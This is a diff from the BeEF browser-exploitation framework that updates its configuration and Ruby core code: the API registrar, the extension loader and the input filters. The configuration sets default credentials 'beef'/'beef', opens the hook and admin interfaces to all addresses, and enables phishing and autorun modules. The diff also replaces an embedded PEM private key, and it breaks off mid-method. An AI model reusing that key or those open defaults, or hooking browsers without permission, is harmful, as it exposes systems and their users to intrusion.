-----END CERTIFICATE-----

View File

@@ -1,16 +1,40 @@
-----BEGIN PRIVATE KEY-----
MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBALCxzu+rOTt2VBM5
X5KL2xpDvMJ7wT0BSVgbkEF9Pd3+h3NbB/LST0n+Mwtnk4wLzmjmNiob3EdP0l+p
KgIZYT8yHMvI3pwp0hmpE3D2bALyiQTOTjF0IhUeIYa9ZhEyeN+PgA6+Hs0ZF/0y
0El2XjkPF42Dnmp9mLTSfScv1v4xAgMBAAECgYAKpDrNTmedACxiGAN8hPXGKCw3
HlLuBKTRLJ/Mgel29DxeIy5gXnAuCaQzXKKTPabJxIugj5r9pH4MCtkf1T15Aib6
4MFdx4UegllMUo7eUiuCtSmK9s0wEtJjShujBl4qQ10ZtWUh4Vd/clS88IjM/iPI
5Ocoph5PUgFt/tX7DQJBAOkGptgdri39bRiSGaR/Si6YYpmMUFoQt+s2id8yH9QS
26o8cHZKCahSiWLNi4rSzEJIOpXnP3n+Dcq2JttDWGcCQQDCHWgWSpdnX8uqp/Qo
yp0RZJwyBFoba4bWhzoQJj+39P0+4FBaMlZyLHZ7nd4z0JiE5S3qA9xi8zjQVrrI
rTWnAkEAmpPxBZfavWNJhW0VWYue1/36GkV73+MLPhq1pruHZZUE5o6lQ7KlaWUn
AcW79WEUYjursVjvQKuI1pmyeOzZrQJBAIGQHSxbxyjBgPA8QDSF4EZ+r96Wlwoc
QBiqk6+5x+fiBrJUCG3bkWWNldu2qFxPS63QRlAfGZeWHgK5ENzm95sCQQCe81hU
WaVM9bmt0ZvfhfQXfgvf3xKNUFemd4skTMUDgNCH1OFULB/Mz16kJDdy0q0qUS88
yBgay+U9QuoEO425
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
jyItP2FJBbw7BlIq7t2c2G66
-----END PRIVATE KEY-----

View File

@@ -1,12 +1,12 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file
beef:
version: '0.4.5.0-alpha'
version: '0.4.7.4-alpha-pre'
# More verbose messages (server-side)
debug: false
# More verbose messages (client-side)
@@ -14,13 +14,21 @@ beef:
# Used for generating secure tokens
crypto_default_value_length: 80
# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin interface
credentials:
user: "beef"
passwd: "beef"
# Interface / IP restrictions
restrictions:
# subnet of IP addresses that can hook to the framework
permitted_hooking_subnet: "0.0.0.0/0"
permitted_hooking_subnet: ["0.0.0.0/0", "::/0"]
# subnet of IP addresses that can connect to the admin UI
#permitted_ui_subnet: "127.0.0.1/32"
permitted_ui_subnet: "0.0.0.0/0"
#permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
permitted_ui_subnet: ["0.0.0.0/0", "::/0"]
# slow API calls to 1 every api_attempt_delay seconds
api_attempt_delay: "0.05"
# HTTP server
http:
@@ -33,25 +41,22 @@ beef:
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
# when hooking lots of browsers (50+).
# Enabling WebSockets is generally better (beef.websocket.enable)
xhr_poll_timeout: 5000
xhr_poll_timeout: 1000
# Host Name / Domain Name
# If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
# set the public hostname below:
#public: "" # public hostname/IP address
# Reverse Proxy / NAT
# If BeEF is running behind a reverse proxy or NAT
# set the public hostname and port here
# If you want BeEF to be accessible behind a reverse proxy or NAT,
# set both the publicly accessible hostname/IP address and port below:
#public: "" # public hostname/IP address
#public_port: "" # experimental
# DNS
dns_host: "localhost"
dns_port: 53
# Web Admin user interface URI
web_ui_basepath: "/ui"
#public_port: "" # public port (experimental)
# Hook
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
# Allow one or multiple origins to access the RESTful API using CORS
# For multiple origins use: "http://browserhacker.com, http://domain2.com"
@@ -68,82 +73,76 @@ beef:
secure: true
secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second
ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: true
type: "apache" # Supported: apache, iis, nginx
hook_404: false # inject BeEF hook in HTTP 404 responses
hook_root: false # inject BeEF hook in the server home page
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
https:
enable: false
# In production environments, be sure to use a valid certificate signed for the value
# used in beef.http.dns_host (the domain name of the server where you run BeEF)
# used in beef.http.public (the domain name of the server where you run BeEF)
key: "beef_key.pem"
cert: "beef_cert.pem"
database:
# For information on using other databases please read the
# README.databases file
file: "beef.db"
# supported DBs: sqlite, mysql, postgres
# NOTE: you must change the Gemfile adding a gem require line like:
# gem "dm-postgres-adapter"
# or
# gem "dm-mysql-adapter"
# if you want to switch drivers from sqlite to postgres (or mysql).
# Finally, run a 'bundle install' command and start BeEF.
driver: "sqlite"
# db_file is only used for sqlite
db_file: "beef.db"
# db connection information is only used for mysql/postgres
db_host: "localhost"
db_port: 5432
db_name: "beef"
db_user: "beef"
db_passwd: "beef123"
db_encoding: "UTF-8"
# Credentials to authenticate in BeEF.
# Used by both the RESTful API and the Admin_UI extension
credentials:
user: "beef"
passwd: "beef"
# Autorun modules as soon the browser is hooked.
# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
# Autorun Rule Engine
autorun:
enable: true
# set this to TRUE if you want to allow auto-run execution for modules with target->user_notify
allow_user_notify: true
# this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
# to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
# continue execution regardless of results.
# If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
result_poll_interval: 300
result_poll_timeout: 5000
# If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
# This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
continue_after_timeout: true
# Enables DNS lookups on zombie IP addresses
dns_hostname_lookup: false
# IP Geolocation
# NOTE: requires MaxMind database:
# curl -O http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
# gunzip GeoLiteCity.dat.gz && mkdir /opt/GeoIP && mv GeoLiteCity.dat /opt/GeoIP
# NOTE: requires MaxMind database. Run ./updated-geoipdb to install.
geoip:
enable: false
database: '/opt/GeoIP/GeoLiteCity.dat'
enable: true
database: '/opt/GeoIP/GeoLite2-City.mmdb'
# Integration with PhishingFrenzy
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
# to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
integration:
phishing_frenzy:
enable: false
# You may override default extension configuration parameters here
# Note: additional experimental extensions are available in the 'extensions' directory
# and can be enabled via their respective 'config.yaml' file
extension:
admin_ui:
enable: true
base_path: "/ui"
demos:
enable: true
events:
enable: true
evasion:
enable: false
requester:
enable: true
proxy:
enable: true
network:
enable: true
metasploit:
enable: false
social_engineering:
enable: true
evasion:
enable: false
console:
shell:
enable: false
ipec:
xssrays:
enable: true
# this is still experimental, we're working on it..
dns:
enable: false

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -7,168 +7,205 @@
module BeEF
module API
#
# Registrar class to handle all registered timed API calls
#
class Registrar
include Singleton
#
# Create registrar
#
def initialize
@registry = []
@count = 1
end
# Register timed API calls to an owner
#
# @param [Class] owner the owner of the API hook
# @param [Class] c the API class the owner would like to hook into
# @param [String] method the method of the class the owner would like to execute
# @param [Array] params an array of parameters that need to be matched before the owner will be called
#
def register(owner, c, method, params = [])
if self.verify_api_path(c, method)
if not self.registered?(owner, c, method, params)
id = @count
@registry << {
'id' => id,
'owner' => owner,
'class' => c,
'method' => method,
'params' => params
}
@count += 1
return id
else
print_debug "API Registrar: Attempting to re-register API call #{c.to_s} :#{method.to_s}"
end
else
print_error "API Registrar: Attempted to register non-existant API method #{c.to_s} :#{method.to_s}"
unless verify_api_path(c, method)
print_error "API Registrar: Attempted to register non-existant API method #{c} :#{method}"
return
end
if registered?(owner, c, method, params)
print_debug "API Registrar: Attempting to re-register API call #{c} :#{method}"
return
end
id = @count
@registry << {
'id' => id,
'owner' => owner,
'class' => c,
'method' => method,
'params' => params
}
@count += 1
id
end
#
# Tests whether the owner is registered for an API hook
#
# @param [Class] owner the owner of the API hook
# @param [Class] c the API class
# @param [String] method the method of the class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Boolean] whether or not the owner is registered
#
def registered?(owner, c, method, params = [])
@registry.each{|r|
if r['owner'] == owner and r['class'] == c and r['method'] == method and self.is_matched_params?(r, params)
return true
end
}
return false
@registry.each do |r|
next unless r['owner'] == owner
next unless r['class'] == c
next unless r['method'] == method
next unless is_matched_params? r, params
return true
end
false
end
#
# Match a timed API call to determine if an API.fire() is required
#
# @param [Class] c the target API class
# @param [String] method the method of the target API class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Boolean] whether or not the arguments match an entry in the API registry
#
def matched?(c, method, params = [])
@registry.each{|r|
if r['class'] == c and r['method'] == method and self.is_matched_params?(r, params)
return true
end
}
return false
@registry.each do |r|
next unless r['class'] == c
next unless r['method'] == method
next unless is_matched_params? r, params
return true
end
false
end
#
# Un-registers an API hook
#
# @param [Integer] id the ID of the API hook
#
def unregister(id)
@registry.delete_if{|r|
r['id'] == id
}
@registry.delete_if {|r| r['id'] == id }
end
#
# Retrieves all the owners and ID's of an API hook
# @param [Class] c the target API class
# @param [String] method the method of the target API class
# @param [Array] params an array of parameters that need to be matched
#
# @return [Array] an array of hashes consisting of two keys :owner and :id
#
def get_owners(c, method, params = [])
owners = []
@registry.each{|r|
if r['class'] == c and r['method'] == method
if self.is_matched_params?(r, params)
owners << { :owner => r['owner'], :id => r['id']}
end
end
}
return owners
@registry.each do |r|
next unless r['class'] == c
next unless r['method'] == method
next unless is_matched_params? r, params
owners << { :owner => r['owner'], :id => r['id'] }
end
owners
end
#
# Verifies that the api_path has been regitered
# Verifies the API path has been registered.
#
# @note This is a security precaution
#
# @param [Class] c the target API class to verify
# @param [String] m the target method to verify
#
def verify_api_path(c, m)
return (c.const_defined?('API_PATHS') and c.const_get('API_PATHS').has_key?(m))
(c.const_defined?('API_PATHS') && c.const_get('API_PATHS').key?(m))
end
#
# Retrieves the registered symbol reference for an API hook
#
# @param [Class] c the target API class to verify
# @param [String] m the target method to verify
#
# @return [Symbol] the API path
#
def get_api_path(c, m)
return (self.verify_api_path(c, m)) ? c.const_get('API_PATHS')[m] : nil;
verify_api_path(c, m) ? c.const_get('API_PATHS')[m] : nil
end
#
# Matches stored API params to params
#
# @note If a stored API parameter has a NilClass the parameter matching is skipped for that parameter
# @note By default this method returns true, this is either because the API.fire() did not include any parameters or there were no parameters defined for this registry entry
#
# @param [Hash] reg hash of registry element, must contain 'params' key
# @param [Array] params array of parameters to be compared to the stored parameters
#
# @return [Boolean] whether params matches the stored API parameters
#
def is_matched_params?(reg, params)
stored = reg['params']
if stored.length == params.length
matched = true
stored.each_index{|i|
next if stored[i] == nil
if not stored[i] == params[i]
matched = false
end
}
return false if not matched
return true unless stored.length == params.length
stored.each_index do |i|
next if stored[i].nil?
return false unless stored[i] == params[i]
end
return true
true
end
#
# Fires all owners registered to this API hook
#
# @param [Class] c the target API class
# @param [String] m the target API method
# @param [Array] *args parameters passed for the API call
# @return [Hash, NilClass] returns either a Hash of :api_id and :data if the owners return data, otherwise NilClass
#
# @return [Hash, NilClass] returns either a Hash of :api_id and :data
# if the owners return data, otherwise NilClass
#
def fire(c, m, *args)
mods = self.get_owners(c, m, args)
if mods.length > 0
data = []
if self.verify_api_path(c, m) and c.ancestors[0].to_s > "BeEF::API"
method = self.get_api_path(c, m)
mods.each do |mod|
begin
#Only used for API Development (very verbose)
#print_info "API: #{mod} fired #{method}"
result = mod[:owner].method(method).call(*args)
if not result == nil
data << {:api_id => mod[:id], :data => result}
end
rescue => e
print_error "API Fire Error: #{e.message} in #{mod.to_s}.#{method.to_s}()"
end
end
else
print_error "API Path not defined for Class: #{c.to_s} method:#{method.to_s}"
end
return data
mods = get_owners(c, m, args)
return nil unless mods.length.positive?
unless verify_api_path(c, m) && c.ancestors[0].to_s > 'BeEF::API'
print_error "API Path not defined for Class: #{c} method:#{method}"
return []
end
return nil
data = []
method = get_api_path(c, m)
mods.each do |mod|
begin
# Only used for API Development (very verbose)
# print_info "API: #{mod} fired #{method}"
result = mod[:owner].method(method).call(*args)
unless result.nil?
data << { :api_id => mod[:id], :data => result }
end
rescue => e
print_error "API Fire Error: #{e.message} in #{mod}.#{method}()"
end
end
data
end
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -29,8 +29,10 @@ require 'core/main/network_stack/handlers/raw'
require 'core/main/network_stack/assethandler'
require 'core/main/network_stack/api'
# @note Include the distributed engine
require 'core/main/distributed_engine/models/rules'
# @note Include the autorun engine
require 'core/main/autorun_engine/parser'
require 'core/main/autorun_engine/engine'
require 'core/main/autorun_engine/rule_loader'
## @note Include helpers
require 'core/module'
@@ -41,11 +43,13 @@ require 'core/hbmanager'
## @note Include RESTful API
require 'core/main/rest/handlers/hookedbrowsers'
require 'core/main/rest/handlers/browserdetails'
require 'core/main/rest/handlers/modules'
require 'core/main/rest/handlers/categories'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/handlers/server'
require 'core/main/rest/handlers/autorun_engine'
require 'core/main/rest/api'
## @note Include Websocket

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -10,7 +10,7 @@ end
end
# @note Includes database models - the order must be consistent otherwise DataMapper goes crazy
require 'core/main/models/user'
require 'core/main/model'
require 'core/main/models/commandmodule'
require 'core/main/models/hookedbrowser'
require 'core/main/models/log'
@@ -18,11 +18,12 @@ require 'core/main/models/command'
require 'core/main/models/result'
require 'core/main/models/optioncache'
require 'core/main/models/browserdetails'
require 'core/main/models/rule'
require 'core/main/models/execution'
# @note Include the constants
require 'core/main/constants/browsers'
require 'core/main/constants/commandmodule'
require 'core/main/constants/distributedengine'
require 'core/main/constants/os'
require 'core/main/constants/hardware'
@@ -32,12 +33,9 @@ require 'core/main/command'
require 'core/main/crypto'
require 'core/main/logger'
require 'core/main/migration'
require 'core/main/geoip'
# @note Include the command line parser and the banner printer
require 'core/main/console/commandline'
require 'core/main/console/banners'
# @note Include rubyzip lib
require 'zip'

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -10,36 +10,40 @@ module BeEF
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension exists in BeEF's configuration
def self.is_present(ext)
return BeEF::Core::Configuration.instance.get('beef.extension').has_key?(ext.to_s)
BeEF::Core::Configuration.instance.get('beef.extension').key? ext.to_s
end
# Checks to see if extension is enabled in configuration
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension is enabled
def self.is_enabled(ext)
return (self.is_present(ext) and BeEF::Core::Configuration.instance.get('beef.extension.'+ext.to_s+'.enable') == true)
return false unless is_present(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true
end
# Checks to see if extension has been loaded
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension is loaded
# @return [Boolean] whether or not the extension is loaded
def self.is_loaded(ext)
return (self.is_enabled(ext) and BeEF::Core::Configuration.instance.get('beef.extension.'+ext.to_s+'.loaded') == true)
return false unless is_enabled(ext)
BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true
end
# Loads an extension
# @param [String] ext the extension key
# @return [Boolean] whether or not the extension loaded successfully
# @todo Wrap the require() statement in a try catch block to allow BeEF to fail gracefully if there is a problem with that extension - Issue #480
def self.load(ext)
if File.exists?('extensions/'+ext+'/extension.rb')
require 'extensions/'+ext+'/extension.rb'
if File.exist? "#{$root_dir}/extensions/#{ext}/extension.rb"
require "#{$root_dir}/extensions/#{ext}/extension.rb"
print_debug "Loaded extension: '#{ext}'"
BeEF::Core::Configuration.instance.set('beef.extension.'+ext+'.loaded', true)
BeEF::Core::Configuration.instance.set "beef.extension.#{ext}.loaded", true
return true
end
print_error "Unable to load extension '#{ext}'"
return false
false
rescue => e
print_error "Unable to load extension '#{ext}':"
print_more e.message
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -9,13 +9,13 @@ module BeEF
# Returns configuration of all enabled extensions
# @return [Array] an array of extension configuration hashes that are enabled
def self.get_enabled
return BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
end
# Returns configuration of all loaded extensions
# @return [Array] an array of extension configuration hashes that are loaded
def self.get_loaded
return BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
end
# Load all enabled extensions
@@ -23,12 +23,10 @@ module BeEF
def self.load
BeEF::Core::Configuration.instance.load_extensions_config
self.get_enabled.each { |k,v|
BeEF::Extension.load(k)
BeEF::Extension.load k
}
# API post extension load
BeEF::API::Registrar.instance.fire(BeEF::API::Extensions, 'post_load')
BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
end
end
end

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

View File

@@ -1,143 +1,199 @@
#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
# Check if the string is not empty and not nil
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
# @param [String] str String for testing
# @return [Boolean] Whether the string is not empty
def self.is_non_empty_string?(str)
return false if str.nil?
return false if not str.is_a? String
return false unless str.is_a? String
return false if str.empty?
true
end
# Check if only the characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether or not the only characters in str are specified in chars
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether or not the only characters in str are specified in chars
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str).nil?
regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check if one or more characters in 'chars' are in 'str'
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
# @param [String] chars List of characters to match
# @param [String] str String for testing
# @return [Boolean] Whether one of the characters exists in the string
def self.exists?(chars, str)
regex = Regexp.new(chars)
not regex.match(str).nil?
not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
end
# Check for null char
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
# @param [String] str String for testing
# @return [Boolean] If the string has a null character
def self.has_null? (str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
exists?('\x00', str)
end
# Check for non-printable char
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
# @param [String] str String for testing
# @return [Boolean] Whether or not the string has non-printable characters
def self.has_non_printable_char?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
not only?('[:print:]', str)
end
# Check if num characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
# @param [String] str String for testing
# @return [Boolean] If the string only contains numbers
def self.nums_only?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
only?('0-9', str)
end
# Check if valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
# @param [String] str String for float testing
# @return [Boolean] If the string is a valid float
def self.is_valid_float?(str)
return false if not is_non_empty_string?(str)
return false if not only?('0-9\.', str)
return false unless is_non_empty_string?(str)
return false unless only?('0-9\.', str)
not (str =~ /^[\d]+\.[\d]+$/).nil?
end
# Check if hex characters only
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
# @param [String] str String for testing
# @return [Boolean] If the string only contains hex characters
def self.hexs_only?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# Check if first character is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
# @param [String] String for testing
# @return [Boolean] If the first character of the string is a number
def self.first_char_is_num?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
not (str =~ /^\d.*/).nil?
end
# Check for space characters: \t\n\r\f
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
# @param [String] str String for testing
# @return [Boolean] If the string has a whitespace character
def self.has_whitespace_char?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
exists?('\s', str)
end
# Check for non word characters: a-zA-Z0-9
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
# @param [String] str String for testing
# @return [Boolean] If the string only has alphanums
def self.alphanums_only?(str)
return false if not is_non_empty_string?(str)
return false unless is_non_empty_string?(str)
only?("a-zA-Z0-9", str)
end
# Check if valid ip address string
# @param [String] ip String for testing
# @return [Boolean] If the string is a valid IP address
# @note only IPv4 compliant
def self.is_valid_ip?(ip)
return false if not is_non_empty_string?(ip)
return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
# @overload self.is_valid_ip?(ip, version)
# Checks if the given string is a valid IP address
